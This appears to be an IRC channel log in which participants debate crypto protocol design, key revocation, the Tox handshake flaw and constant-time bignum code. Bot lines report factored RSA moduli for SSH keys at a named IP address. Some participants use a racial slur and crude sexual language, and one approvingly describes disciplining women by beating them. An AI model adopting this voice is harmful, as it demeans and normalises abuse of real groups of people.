1649446;1493412274;Framedragger;naming is shit, yeah
1649447;1493412297;Framedragger;i'm not convinced it's a very bad idea. i'm not advocating such 'we love complexiti' architecture of course
1649448;1493412324;mircea_popescu;to put it another way : when a fundamental problem is well understood enough to approach conclusively, and yet the approach eschews creating a standard in favour of preserving choice, the signal is that the problem was NOT actually understood enough.
1649449;1493412332;mircea_popescu;ie, a "protocol framework" is definitionally premature.
1649450;1493412354;mircea_popescu;either you have a protocol standard, or else you have more prototyping work to do.
1649451;1493412402;mircea_popescu;(at least that's what i parse the words to mean, framework = "standard with a lot of user serviceable knobs")
1649452;1493412409;Framedragger;i think by 'you can create protocol' they meant a high degree of abstraction kind of protocol. e.g. stateless or stateful transport security, etc.
1649453;1493412427;mircea_popescu;and who's going to cover the edge case interplay three feet deep ?
1649454;1493412430;Framedragger;makes sense to have core building blocks. i see protocol framework here in the sense of openssl being a protocol framework
1649455;1493412443;mircea_popescu;openssl is woefully insecure!
1649456;1493412469;Framedragger;yesyes, many issues, sure. and in regards to openssl, you know what i meant, the interfaces that the openssl library exports to its operators
1649457;1493412492;mircea_popescu;the... what ?
1649458;1493412500;Framedragger;the fact that interfaces implement literal crap in the case of openssl is of course not the best advertising for a simile...
1649459;1493412504;mircea_popescu;you mean that it runs on linux and consequently you can process its output ?
1649460;1493412522;Framedragger;no, i mean that you can embed it in your $crapchatapp and not worry about IV reuse
1649461;1493412541;mircea_popescu;the part that enables you to not worry thus is in your head not in the openssl.
1649462;1493412553;Framedragger;(you can use more general methods which abstract away the internals)
1649463;1493412553;mircea_popescu;i'd fucking worry. and i'd have great cause to worry, too.
1649464;1493412596;Framedragger;because of openssl or because of this abstraction?
1649465;1493412628;mircea_popescu;because nobody actually looked at all the edge cases, on the assumption that they were only generated through the interplay of idle abstraction and will "never be encountered in practice"
1649466;1493412639;mircea_popescu;which is of course what your crapapp will do post haste, if you've any luck.
1649467;1493412656;Framedragger;i thought you were *for* a crypto library where operator would not have to use (by which i mean abuse, because he will) low level primitives?
1649468;1493412680;Framedragger;damn i need semantic search on logs
1649469;1493412699;mircea_popescu;let's revisit the early cs classes. if you have state machine A, with 4 states, and state machine B, with 5 states, the composed mechanism AB has... 20 states.
1649470;1493412717;mircea_popescu;abstraction has this cost, that if i have to maintain AB i spend twice the time if i maintained an A and a B.
1649471;1493412749;trinque;http://btcbase.org/log/2017-04-28#1649427 << got some needed hardware to pick up at the post office tomorrow, and a bunch of code to deploy to it, then testing.
1649472;1493412749;a111;Logged on 2017-04-28 20:36 mircea_popescu: yeah, how's the whole dwallet coming along ?
1649473;1493412770;trinque;questions remain on how best to handle incoming deposits; I hear ben_vulpes might be working on something to help
1649474;1493412776;mircea_popescu;if your protocol is, for the sake of this argument, a state machine with about 150k states, and then the "framework" is a further state machine with about a half million or so states, your protocol framework escapes security as a fundamental property of it.
1649475;1493412788;mircea_popescu;trinque epic.
1649476;1493412804;ben_vulpes;trinque: output dumper's not entirely done but closeish
1649477;1493412820;ben_vulpes;gotta back out the c++11 work, implement a predicate and test the shit out of it
1649478;1493412823;Framedragger;mircea_popescu: no disagreement. i honestly don't know re framework, i do think they just abused a term (which isn't a great signal)
1649479;1493412835;Framedragger;mircea_popescu: even then, yes, explosion of statespace, sure
1649480;1493412857;mircea_popescu;see, naggum's (correct) advice in that piece ##crypto barfed at was... MAKE YOUR TAILORED CL!
1649481;1493412871;mircea_popescu;not "download the latest cl framework". that's the opposite approach/.
1649482;1493412909;ben_vulpes;current thinking in re testing dumper is to solo mine and test but that's a not-small pile of test harness to write
1649483;1493412937;mircea_popescu;even more directly : every kid who ever tried maintaining a machine, be it linux, bsd, anything, knows very directly the problem with this framework thing. apt-get is guess what ? a package framework. what's its principal function on anyone's machine ? that it imports packages you a) didn't want or need and b) turned out vulnerable.
1649484;1493413000;mircea_popescu;but to return upstack : if i can't enumerate the states of my machine, i will thus therefore worry about it ending up in a state i can't predict, understand or recover. this is rational.
1649485;1493413074;Framedragger;mircea_popescu: well, you're right, damn. looking at list of thing signal gives though, it's just clean functions for doing crypto. i dunno. i think in the case of tox, its crypto may actually map well to noise, in the sense of them being able to just use stuff that noise provides, and not reimplement same shit in broken fashion
1649486;1493413083;mircea_popescu;(predict : i know what it will do in the future ; understand : i know what it is doing now ; recover : i separated it from what it did in the past.)
1649487;1493413085;Framedragger;but then that whole ecosystem may need to die before there is good in the world.
1649488;1493413111;ben_vulpes;awww he's coming around
1649489;1493413116;mircea_popescu;well, maybe. i'm not really able to evaluate a framework rightnao.
1649490;1493413126;Framedragger;i just thought, asciilifeform's bignumtron is probably not even turing complete yes? if it's not, that *a big plus*
1649491;1493413133;*;Framedragger not ignorant of problem
1649492;1493413149;trinque;nor ignorant in general, but ever wanting to think the best of people, eh?
1649493;1493413157;Framedragger;s/signal/noise/ ^
1649494;1493413162;trinque;THAT HYMEN POPS WITH AGE
1649495;1493413165;trinque;lol
1649496;1493413172;Framedragger;maybe 'tis my function, the forum clown :p
1649497;1493413183;Framedragger;well no clown's function may be more complex
1649498;1493413197;*;ben_vulpes hands Framedragger the cap, nose
1649499;1493413205;mircea_popescu;lol
1649500;1493413205;*;ben_vulpes swirls cape, disappears in flash of powder
1649501;1493413257;*;Framedragger checks clock, 10pm, tilts head, office space, mk 
1649502;1493413595;mircea_popescu;oook this bahamas thing is pretty lulzy.
1649503;1493413936;asciilifeform;Framedragger: how, precisely, is any bignumtron possibly turing-complete ?!
1649504;1493413940;asciilifeform;by itself, that is
1649505;1493414040;asciilifeform;http://btcbase.org/log/2017-04-28#1649464 << gotta understand the principle : if martians landed tonight, and fixed, somehow, all of the bugs in openssl, and god signed off that there are no more -- openssl will STILL be a turd, because does not fit in head !
1649506;1493414040;a111;Logged on 2017-04-28 20:49 Framedragger: because of openssl or because of this abstraction?
1649507;1493414081;asciilifeform;the cost of using an item that does not fit in head, is essentially the cognitive equivalent of curl liquishit | bash .
1649508;1493414258;asciilifeform;'Perhaps Tox doesn't care about this, or about many of the threat models that modern AKEs are designed to protect against, in which case, probably it's fine to continue using your homebrewed crypto. But if you actually desire some kind of high assurance security, I strongly recommend not building your own protocols and instead use something designed by an educated expert, such as Noise.' << lol , schneier never dies.
1649509;1493414289;asciilifeform;instead he reincarnates as 10,001 cryptoderps
1649510;1493414304;mircea_popescu;the martians didn't make the usg, no.
1649511;1493414363;asciilifeform;'You might benefit from a bit of humility before comparing your protocol to OTR and SIGMA, both of which were groundbreaking works created by experts, as opposed to a slapdash protocol...'
1649512;1493414371;asciilifeform;experts.
1649513;1493414373;asciilifeform;didjaknow.
1649514;1493414466;asciilifeform;and in the end, 'We acknowledge that the issue exists and will work towards fixing it. ... I will say this very clearly once again: there is an avoidable security flaw in the Tox handshake. This is not something someone made up. The effect is that if your secret key is stolen, an attacker can impersonate anyone to you. We will fix this issue, most likely by adopting Noise for handshakes.'
1649515;1493414470;asciilifeform;schneier won this one.
1649516;1493414549;asciilifeform;'what, you idiot niggers really thought that pygmies can run a country ? only yale graduates can run a country, shut up get back on yer knees'
1649517;1493414666;mircea_popescu;hey, it's a framework.
1649518;1493414681;asciilifeform;waiwat
1649519;1493414709;Framedragger;^ interesting thing re above, note, your key thief can impersonate anyone *to* you, not impersonate *as you* - the latter is contained in "thief" and is unavoidable. but the former is avoidable.
1649520;1493414711;trinque;I remember the church derps used to say things like "there's a god-shaped hole in everyone". The homoeroticism of that aside, does appear that there's a "metaphysical domination" shaped hole in most folks. looks like this when nobody in your land bothers to stick it in.
1649521;1493414744;Framedragger;(re. else, later, moving self. but just a quick note re turing complete, well yes a bignumtron should not in itself be turing complete, but i wasn't sure how much additional stuff was planned on top)
1649522;1493414760;trinque;"oh I'll run around and gargle ideological cum from wherever I find it, invariably because of my own wish fulfillment fantasies and onanisms"
1649523;1493414765;trinque;see ##crypto
1649524;1493414792;asciilifeform;Framedragger: the only thing planned on top is a finite-step rpn calculator thing.
1649525;1493414814;Framedragger;right, right, i should have known (you had mentioned this). cool :)
1649526;1493414863;asciilifeform;( http://btcbase.org/log/2016-12-11#1581753 << thread . )
1649527;1493414863;a111;Logged on 2016-12-11 21:09 asciilifeform: trinque: it is a very simple thing, think 'rpn calculator' and you almost have it.
1649528;1493414884;Framedragger;http://btcbase.org/log/2017-04-28#1649507 << at the risk of committing a slippery slope / false equivocation / something, orly? is this not unavoidable sometimes. i do realise "b-b-t muh kernel! is not a good answer
1649529;1493414884;a111;Logged on 2017-04-28 21:14 asciilifeform: the cost of using an item that does not fit in head, is essentially the cognitive equivalent of curl liquishit | bash .
1649530;1493414887;*;Framedragger bbl
1649531;1493414887;asciilifeform;in particular, http://btcbase.org/log/2016-12-11#1581793
1649532;1493414887;a111;Logged on 2016-12-11 21:24 asciilifeform: for instance, p code is required to first thing put on the stack 1) how many p-instrs are permitted 2) how many bits wide the fixints are
1649533;1493414921;asciilifeform;Framedragger: the first step, as the quitting drinkin' folx say, 'is to realize that you have a problem'
1649534;1493414934;asciilifeform;which means NO NEW NONFITTINGINHEAD items!!
1649535;1493414945;asciilifeform;and a monotonic reduction in old ones.
1649536;1493414950;asciilifeform;until -- gone.
1649537;1493414965;Framedragger;guess so.
1649538;1493415140;asciilifeform;http://btcbase.org/log/2017-04-28#1649519 << somebody with your key, in fact ~is~ you. just the same as if he had killed, skinned you, and put on your skin.
1649539;1493415140;a111;Logged on 2017-04-28 21:25 Framedragger: ^ interesting thing re above, note, your key thief can impersonate anyone *to* you, not impersonate *as you* - the latter is contained in "thief" and is unavoidable. but the former is avoidable.
1649540;1493415155;asciilifeform;any pretense to the contrary is fundamentally dishonest.
1649541;1493415164;mircea_popescu;trinque the hole stuff is eerily apt for the article i'm just brewing.
1649542;1493415179;asciilifeform;there is no longer ~a~ you, once enemy has your privkey.
1649543;1493415193;*;trinque just surfing the republican vortex
1649544;1493415206;asciilifeform;there is only then a privkey suffering from split-brain disease.
1649545;1493415210;Framedragger;(what if it's a station key? what if you wanted to be alerted of 'key stolen!')
1649546;1493415228;asciilifeform;Framedragger: who will alert you of this ? martians ?
1649547;1493415239;asciilifeform;how do you propose to mechanically determine that a key has been stolen.
1649548;1493415249;Framedragger;other people, e.g., who yes will be alerting both you and other-you
1649549;1493415263;Framedragger;could just be a social thing, someone literally using your key
1649550;1493415266;asciilifeform;who will know about it exactly how ??
1649551;1493415287;asciilifeform;has Framedragger finally discovered the ancient dream of riaa, the magical bits that tattle when copies ?
1649552;1493415291;Framedragger;it's not deterministic, it's not guaranteed, it's pretty crap, yes, but given the option?..
1649553;1493415298;asciilifeform;what option !
1649554;1493415316;asciilifeform;describe, for my enlightenment, the actual algo contemplated, Framedragger
1649555;1493415339;asciilifeform;bool HasBeenStolen(PrivKey) -- if you like.
1649556;1493415342;asciilifeform;how's it work ?
1649557;1493415362;Framedragger;no, there is no such thing, i said it's social. but hold on:
1649558;1493415382;Framedragger;it's not an algo, i was referring to a possible fix of a further bad-thing that happens when key stolen. bad-thing is: once your key stolen, attacker (in that broken tox scheme) can impersonate as *anyone* *to* you.
1649559;1493415403;asciilifeform;he can also log into your box, say, and impersonate ~that~ way.
1649560;1493415407;asciilifeform;or format your hd.
1649561;1493415408;asciilifeform;or whichever.
1649562;1493415423;asciilifeform;for any practical purpose, he ~is~ you.
1649563;1493415437;Framedragger;so if you have your friend bob's key and bob writes you "dude key stolen wtf", you know that shit went down. but now, attacker can be 100 bobs, with 'signed messages' or whatever, telling you "no don't listen to this impersonator not-bob, you're fine"
1649564;1493415463;Framedragger;i do not believe in "single key" thing. there is main-key. but you can have station keys. which can't format hdd. that's slippery slope
1649565;1493415477;asciilifeform;Framedragger: how do you intend to distinguish this situation from impostor ?
1649566;1493415496;Framedragger;if scheme works as it should, you get a signed message from bob and you know it's bob who sent it to you.
1649567;1493415505;asciilifeform;... or the thief
1649568;1493415509;Framedragger;the idea is that your key was not stolen while attacker had root access to your box.
1649569;1493415514;asciilifeform;or bob-with-splitbrainsyndrome
1649570;1493415518;mircea_popescu;asciilifeform i think he's thinking, basically, of divorce.
1649571;1493415523;mircea_popescu;"this woman is not the woman i married"
1649572;1493415527;Framedragger;no, wait, it's *you* who lost the key, not bob.
1649573;1493415553;asciilifeform;Framedragger: describe, in this hypothetical, how my station key was stolen.
1649574;1493415560;Framedragger;oh god.
1649575;1493415568;Framedragger;i typed it into irc while sleeping.
1649576;1493415585;asciilifeform;why you would not also type the 'master' key ?
1649577;1493415593;mircea_popescu;so basically if master key annuls a key it is thereby annulled ?
1649578;1493415621;Framedragger;i don't have a super-plausible scenario. i'm saying such scenario is possible; scheme used by tox can 'minimise damage' (i realise that it's a funny word when describing 'key stolen'); it doesn't, hence that complaint on shithub.
1649579;1493415663;Framedragger;is end of story. not very interesting, yes
1649580;1493415680;asciilifeform;'i won't describe how an elephant could get to your garden, but your household is not equipped for gardening without this elephant repellent' ?
1649581;1493415713;Framedragger;mircea_popescu: i don't think the discussion about say gossipd station keys vs 'main key' was necessarily finished? i realise that it ain't pretty
1649582;1493415728;mircea_popescu;i dunno, go on ?
1649583;1493415760;Framedragger;asciilifeform: they were already using a scheme which was supposed to protect it, but broke the spec, and implemented poorly. i don't remember but it's probably fixable without migrating to snakeoil or whatever framework
1649584;1493415772;ben_vulpes;good crypto lib name
1649585;1493415779;Framedragger;mircea_popescu: would love to but not tonight. is big topic!
1649586;1493415819;Framedragger;goddamn tmsr timezones cockblocking muh sleep
1649587;1493415843;asciilifeform;we definitely had the 'key revocation' thread.
1649588;1493415849;asciilifeform;several times, even.
1649589;1493415862;Framedragger;was it conclusive?
1649590;1493415921;asciilifeform;e.g., http://btcbase.org/log/2016-08-23#1527885
1649591;1493415921;a111;Logged on 2016-08-23 21:44 asciilifeform: revocation is a ~promise~, in that there is not such a thing, and never will be such a thing, as a magical lever that instantly makes a key stop working.
1649592;1493416035;mircea_popescu;well, as conclusive as it gets. see the gossipd design document comment section.
1649593;1493416083;asciilifeform;the meaningful subset of 'key revocation' consists of solely those operations which you can do ~in your head~
1649594;1493416099;asciilifeform;e.g., to decide not to make use of a particular key any longer.
1649595;1493416140;asciilifeform;'i will no longer include 1024b rsa keys in my ~/.wot' , for instance.
1649596;1493416149;asciilifeform;or 'i will never again sign with my dsa key'
1649597;1493416160;asciilifeform;but what you ~cannot~ do is to perform an operation in ~other people's heads~.
1649598;1493416578;asciilifeform;http://btcbase.org/log/2016-08-23#1527876 << moar.
1649599;1493416578;a111;Logged on 2016-08-23 21:41 asciilifeform: znort987: rather, yes, there was provision for it in the original openpgp spec, but it is a bogus concept because it entails a global repository of revocation messages and a universal agreement re what time it presently is.
1649600;1493416588;pete_dushenski;https://github.com/paritytech/parity-bitcoin << new node software backed by f2pool, haobtc, and bitmain. because you're not cool if you don't have your own alt-trbf.
1649601;1493416603;mircea_popescu;and sometimes not even if you do have it.
1649602;1493416613;asciilifeform;pete_dushenski: shitlang bitcointrons ain't new, iirc even mike hearn had one
1649603;1493416650;mircea_popescu;anyway, it's a funnysituation this, miners just can't stick to mining. gotta gravitate towards the flame. so what if ~only thing flame does is burn butterflies.
1649604;1493416655;mircea_popescu;love knows no such worries!
1649605;1493416665;pete_dushenski;i dun recall shitrons being published directly by miners but i may be forgetting one.
1649606;1493416696;asciilifeform;pete_dushenski: for starters, gotta question the sanity of anybody publicly claiming to mine.
1649607;1493416735;asciilifeform;( and to keep in mind that there live man more liars than lunatics )
1649608;1493416736;pete_dushenski;some moths haven't been burned before. like ever.
1649609;1493416738;asciilifeform;*many
1649610;1493416894;pete_dushenski;http://archive.is/unVPU << related (antbleed - bitmain). " We planned to add this feature to the code to empower customers to control their miners which often times can be hosted outside their premises. This was after more than one incident of miners being stolen from a mining farm or being hijacked by the operator of the mining farm"
1649611;1493416917;pete_dushenski;"This feature was intended to allow the owners of Antminer to remotely shut down their miners that may have been stolen or hijacked by their hosting service provider, and to also provide law enforcement agencies with more tracking information in such cases. We never intended to use this feature on any Antminer without authorization from its owner."
1649612;1493416923;asciilifeform;'hijacked by the operator' lolwat?!!
1649613;1493416937;asciilifeform;aaahahahaha
1649614;1493416954;pete_dushenski;these are the people who 'should be more sane' but... aren't. quite clearly.
1649615;1493417000;mircea_popescu;asciilifeform this happened at least two times i know of.
1649616;1493417008;mircea_popescu;"operator" ie, kid actually on the grounds.
1649617;1493417020;mircea_popescu;think "tech support" in mid sized corp.
1649618;1493417123;asciilifeform;'kid on site' could also pour petrol, and light match.
1649619;1493417135;asciilifeform;what drm nonsense to cure this ?
1649620;1493417179;mircea_popescu;hey, i am not defending their contortions, i am speaking as to fact.
1649621;1493417235;asciilifeform;and let's imagine that mircea_popescu found remotely-detonatable mine in his mercedes, and astonished to learn that it was part of the ~factory~ standard kit, and answer from vendor was 'this was, ummm, here, umm, in case someone were to STEAL your auto, believe'
1649622;1493417275;asciilifeform;( laugh , but usg made this mandatory on, e.g., boeing !! )
1649623;1493417286;mircea_popescu;there are some items that have charge on yu
1649624;1493417288;mircea_popescu;yes&
1649625;1493417315;mircea_popescu;iirc the "response bots" also.
1649626;1493417325;deedbot;No messages were found.
1649627;1493417331;asciilifeform;what's a response bot
1649628;1493417349;asciilifeform;'FOF' beacon ?
1649629;1493417389;mircea_popescu;no, those police bot things
1649630;1493417390;trinque;danielpbarron: looks like that one can't make it through with the current code.
1649631;1493417410;deedbot;deeds online
1649632;1493417410;mircea_popescu;in fairness, asc also rather wasteful for large files.
1649633;1493419798;deedbot;http://trilema.com/2017/friday-was-a-good-day/ << Trilema - Friday was a good day.
1649634;1493421129;asciilifeform;ocelots!!
1649635;1493421159;mircea_popescu;hehehe
1649636;1493421223;BingoBoingo;Dark girls!
1649637;1493421241;mircea_popescu;also!
1649638;1493421375;shinohai;Birds!
1649639;1493421385;BingoBoingo;JAIL BIRDS!!!
1649640;1493421397;*;shinohai is obsessed with birds
1649641;1493421562;pete_dushenski;in related metaphysical sciences, "Multivariate linear regression analysis indicated that lifetime psychedelic use (but not lifetime cocaine use or weekly alcohol consumption) positively predicted liberal political views, openness and nature relatedness, and negatively predicted authoritarian political views, after accounting for potential confounding variables. Ego dissolution experienced during a
1649642;1493421564;pete_dushenski;participant's "most intense" psychedelic experience positively predicted liberal political views, openness and nature relatedness, and negatively predicted authoritarian political views."
1649643;1493421620;pete_dushenski;shinohai: lel i read 'bards' and thought 'shakespeare'
1649644;1493421679;shinohai;lol
1649645;1493421684;asciilifeform;pete_dushenski: this was the hope, when usg tried to package lsd as an artillery payload. 'ego dissolution'. didn't pan out.
1649646;1493421697;deedbot;http://qntra.net/2017/04/purdue-university-bails-out-bezos-bezzle-bungle/ << Qntra - Purdue University Bails Out Bezos Bezzle Bungle
1649647;1493421710;BingoBoingo;In the bung hole
1649648;1493421711;pete_dushenski;asciilifeform: not for you!
1649649;1493421757;pete_dushenski;for ~many~ i know in meatspace, worked like a charm, which is how http://www.contravex.com/2015/05/06/a-not-so-new-era-begins-in-alberta-politics/ came to be.
1649650;1493421761;BingoBoingo; participant's "most intense" psychedelic experience positively predicted liberal political views, openness and nature relatedness, and negatively predicted authoritarian political views." << Cocaine use positively correlates with an interest in having money
1649651;1493421793;asciilifeform;pete_dushenski: elaborate. what, they were entirely sane prior, and heiled clitler there ever after the dose ??
1649652;1493421803;pete_dushenski;BingoBoingo: though causal arrow impossible to draw
1649653;1493421857;pete_dushenski;asciilifeform: this distinction hasn't been noted within individuals so much as between them. same as per this study afaict.
1649654;1493421875;asciilifeform;'get married, grow taller!'
1649655;1493421876;asciilifeform;snoar.
1649656;1493421893;pete_dushenski;'listen to bach, grow smarter!' idem.
1649657;1493421924;pete_dushenski;anyways, i thought it was being a ceo that made one taller
1649658;1493421956;asciilifeform;it worx great; done in same clinic where they paint you black to lengthen cock
1649659;1493421963;pete_dushenski;something about incidence of men >6'5" being <1% in general population but ~20% amongst fortune 500 ceos
1649660;1493422019;BingoBoingo;Fortune 500 CEO's are hired to project appearance of dominance, not actually be dominant
1649661;1493422075;pete_dushenski;asciilifeform: same clinic also sells 'dubs' for car. lead to whole 'dub culture' in early 2000s. deuce-deuces!
1649662;1493422120;asciilifeform;i assume 'dubs' are the 'torpedo' you bolt to the boot, with the flames painted on ?
1649663;1493422129;pete_dushenski;BingoBoingo: depends on the co.
1649664;1493422176;pete_dushenski;or maybe it doesn't depend on the co.. if 'hired' then not founder, so...
1649665;1493422200;pete_dushenski;asciilifeform: your wisdom of the streets knows no bounds :p
1649666;1493422230;pete_dushenski;then again, steve j. was fired then hired.
1649667;1493422231;asciilifeform;'It is the most advanced and secure instant messaging protocol to date. This is why the designers got an award in front of a conference full of seasoned cryptographers and security engineers a week back for improving Real World Cryptography. ' << from turd in earlier thread. that thing is ~bottomless lulzmine.
1649668;1493422234;BingoBoingo; or maybe it doesn't depend on the co.. if 'hired' then not founder, so... << Fortune 500 usually rides on inertia rather than continued interest of founder in concern
1649669;1493422272;asciilifeform;'fortune 500' is approx as interesting as that other nomenklatura.
1649670;1493422284;pete_dushenski;asciilifeform: one wonders what the attendees were seasoned with. salt ? paprika ? a dash of lemon zest ?
1649671;1493422352;BingoBoingo; 'fortune 500' is approx as interesting as that other nomenklatura. << Hey, thanks to "Real World" cryptographers you too can walk the street wearing privacy invisible pants
1649672;1493422361;*;asciilifeform was once sent, as 'industrial' non-talking delegate, to a lavish usg-hosted gathering of 'seasoned cryptographers'. it was mega-circus, iirc i described it in old thread.
1649673;1493422452;asciilifeform;( http://btcbase.org/log/2016-06-01#1474772 << possible thread. )
1649674;1493422452;a111;Logged on 2016-06-01 17:44 mircea_popescu: sure.
1649675;1493422560;asciilifeform;http://btcbase.org/log/2016-09-08#1537407 << , etc.
1649676;1493422560;a111;Logged on 2016-09-08 17:31 asciilifeform: the #1 entry is gut-bustingly lulzy to asciilifeform , because i spend ~half year auditing a multilinear-map thing for $rupturefarm, and even was sent to a 'conference' where 'serious cryptographers' did not even blink when someone walked in with a proof that whole thing was crock of shit
1649677;1493423130;pete_dushenski;in other alt-civilisations : https://pbs.twimg.com/media/C-gSp9nXkAAdI_-.jpg
1649678;1493423229;asciilifeform;i dun recall any of these nongreen colours on the prophet's banner.
1649679;1493423257;phf;asciilifeform: thanks for the ada updates, i was reading knuth's book 3 on arbitrary precision multiplication, so you're 20 steps ahead of me
1649680;1493423279;asciilifeform;phf: the given algo isn't even 'adult', it's the old ancient egyptian one.
1649681;1493423282;asciilifeform;but worx.
1649682;1493423286;asciilifeform;( for the given purpose )
1649683;1493423299;asciilifeform;what i don't yet have is a fixed-time modular exponentiator.
1649684;1493423316;phf;so my very very naive algo takes 120 seconds to expt 2345 to 5678
1649685;1493423319;asciilifeform;apparently this might be an open problem, of sorts
1649686;1493423323;phf;err 170s
1649687;1493423368;pete_dushenski;in other walls, https://www.dezeen.com/2017/04/25/turkey-completes-first-phase-900-kilometre-wall-syrian-border/
1649688;1493423371;phf;which i think should be considered a kind of upper bound (this is the most naive algo, without making it intentionally retarded)
1649689;1493423383;asciilifeform;( best mod exp algo i've found appears to be 'montgomery's ladder', but i am not convinced that it can be made fixed-time )
1649690;1493423414;asciilifeform;phf: egyptian algo is , afaik, the simplest that's at all practical
1649691;1493423432;phf;in related lulz Karatsuba and Ofman's "Multiplication of Many-Digital Numbers by Automatic Computers" doesn't seem to be available anywhere online, but "everyone" seems to know it somehow
1649692;1493423441;asciilifeform;( repeated addition is not exactly physically plausible for 64b, much less 8192b multiplicand..)
1649693;1493423462;asciilifeform;phf: karatsuba's algo is in knuth
1649694;1493423466;asciilifeform;( and gpg )
1649695;1493423472;asciilifeform;however it is unsuitable, because it branches.
1649696;1493423494;phf;right, i figure as much from reading cmucl's source code (which uses k.)
1649697;1493423506;asciilifeform;k incidentally died not long ago iirc
1649698;1493423530;asciilifeform;was a titan of a man.
1649699;1493423548;asciilifeform;( karatsuba, that is. knuth afaik zombies along still. )
1649700;1493423555;phf;philistine that i am, for a longest time i thought karatsuba was japanese..
1649701;1493423562;asciilifeform;lol!!
1649702;1493423593;phf;i.e. ka-ra-tsu-ba
1649703;1493423625;asciilifeform;http://www.mi.ras.ru/~karatsuba << subj.
1649704;1493423733;asciilifeform;phf: https://archive.is/j4Lue >> 'Умножение многозначных чисел на автоматах' (1962), subj2
1649705;1493423768;asciilifeform;hmm, cut off
1649706;1493423776;phf;aah cheers
1649707;1493423900;asciilifeform;anyway the pdf loads.
1649708;1493424018;asciilifeform;phf: you will notice, i also 'de-optimized' some of the arithmetical functions, to help clarity.
1649709;1493424054;asciilifeform;imho it does not particularly matter if generating rsa key takes a second, an hour, or an entire day.
1649710;1493424086;asciilifeform;if rsatron becomes slightly more readable, and a dozen lines shorter, and less 'clever', and as result generating key takes two days instead of 1 -- i call it a win!!
1649711;1493424163;*;phf nods
1649712;1493424179;asciilifeform;observe also the 'mux', it is fundamental building block for nonbranching ops.
1649713;1493424182;phf;vaguely related, all these papers that cite subj. i'm sure all these people have a copy in their private collection (the one they referenced when writing!!1), that they don't share out of copyright considerations and the respect for great scientist
1649714;1493424230;asciilifeform;i bet most of these were simply never scanned.
1649715;1493424315;phf;probably not. unless there's a djvu archive somewhere of "доклады академии наук ссср"
1649716;1493424350;mats;http://btcbase.org/log/2017-03-21#1630579 << similarly, did amd mole get a red star for 'f00f' bug? ;)
1649717;1493424350;a111;Logged on 2017-03-21 18:03 asciilifeform pictures intel mole getting 'order of wintel red star' pinned on his uniform
1649718;1493424597;mats;relatedly - a trivia q i didn't know the answer to, until it was shared - what is the proper way to test for support for the cmpxchg8b instruction?
1649719;1493424642;asciilifeform;mats: run it and see if trap? like any other oddball instr?
1649720;1493425050;mats;allegedly some non-intel CPUs lied in CPUID, and some had MSRs to address but others didn't - some bios would set the MSR bit, and others wouldn't even when it was available
1649721;1493425104;mats;the provided answer was - first test for Intel CPU with CPUID (so you don't trigger f00f) and then for anything GenuineIntel, run it and check for undefined opcode exception
1649722;1493425226;mats;Transmeta and Rise processors both had issues with it
1649723;1493425554;asciilifeform;i'd naively suppose that there are more 'cyrix' left in operation today than 'transmeta'.
1649724;1493425798;mats;why did transmeta die? it predates my interest in computers
1649725;1493425828;mats;i remember reading about it years after the fact, 'brightest minds' working on it and so on
1649726;1493425946;asciilifeform;was a pretty typical 'brightest minds' tarpit, aha. 0 useful product.
1649727;1493425983;asciilifeform;linus, involved, iirc. never mentions it today.
1649728;1493426497;mats;hpa, paul allen, too. my impression is he didn't really do anything besides lend his minor celebrity to the org
1649729;1493426584;mats;think he ported linux kernel to their chipset but no record of anything else
1649730;1493426612;mats;made out like a bandit with those shares, i hope
1649731;1493427622;phf;asciilifeform: hey, how's overflow supposed to work in your fz_mul?
1649732;1493427630;phf;(i'm on train so might disappear)
1649733;1493427659;phf;i'm doing 2345x1 on ffa(64*5, u64) and it's giving me overflow 1
1649734;1493427835;asciilifeform;phf: paste whole routine plox?
1649735;1493427860;phf;   FZ_Set(A, 2345);
1649736;1493427860;phf;   FZ_Set(B, 1);
1649737;1493427860;phf;   FZ_Mul(A, B, R, Overflow);
1649738;1493427862;phf;   Dump(R);
1649739;1493427876;phf;   package Foo is new ffa(Width => 64*5,
1649740;1493427876;phf;                          Word  => Unsigned_64);
1649741;1493427876;phf;   use Foo;
1649742;1493427893;phf;err
1649743;1493427897;phf;   Dump(Overflow);
1649744;1493427920;phf;gives 929, 1
1649745;1493428299;*;asciilifeform looks
1649746;1493428401;asciilifeform;2345 = 0x929 ...
1649747;1493428418;phf;correct, but why overflow
1649748;1493428776;phf;(about to hit comm dead zone, be back in an hour or so, but will check log on hpone)
1649749;1493429141;asciilifeform;actually this is a 'classy' bug, turns out
1649750;1493429149;asciilifeform;does anybody want to try his hand at it before i post answer ?
1649751;1493429254;phf;asciilifeform: i want to
1649752;1493429262;phf;post tomorrow
1649753;1493429264;asciilifeform;aite.
1649754;1493430191;deedbot;http://phuctor.nosuchlabs.com/gpgkey/229639940255F1BC2F610ECBCD63FEF5F5602846C6BADE6A6D2DF4E04882684A << Recent Phuctorings. - Phuctored: 1647...9399 divides RSA Moduli belonging to '163.20.131.4 (ssh-rsa key from 163.20.131.4 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown TW)
1649755;1493430191;deedbot;http://phuctor.nosuchlabs.com/gpgkey/229639940255F1BC2F610ECBCD63FEF5F5602846C6BADE6A6D2DF4E04882684A << Recent Phuctorings. - Phuctored: 1422...7973 divides RSA Moduli belonging to '163.20.131.4 (ssh-rsa key from 163.20.131.4 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown TW)
1649756;1493433527;lobbes;pete_dushenski, http://p.bvulpes.com/pastes/VOmlr/?raw=true
1649757;1493433542;lobbes;and thank you sir!
1649758;1493437723;asciilifeform;http://www.nugae.com/encryption/index.htm << one of those rare, 1990s people-who-are-people .
1649759;1493438957;mod6;lobbes: cool
1649760;1493439599;mircea_popescu;http://btcbase.org/log/2017-04-28#1649528 << it is avoidable as a matter of fact. i have by now built an item that is too complex to fit in my head. i call it $harem for convenience, but it's a set of girls who do things on the basis of rules which they were at some point in their girly youth illo tempore been beaten / screamed at for.
1649761;1493439599;a111;Logged on 2017-04-28 21:28 Framedragger: http://btcbase.org/log/2017-04-28#1649507 << at the risk of committing a slippery slope / false equivocation / something, orly? is this not unavoidable sometimes. i do realise "b-b-t muh kernel! is not a good answer
1649762;1493439625;mircea_popescu;the whole "don't fuck up or i'll beat you" mechanism exists ~specifically because~ the whole array doesn;t fit in my (or anyone's) head.
1649763;1493439670;mircea_popescu;the saving grace is that they ~very much do not want to~ be bad. machines don't care.
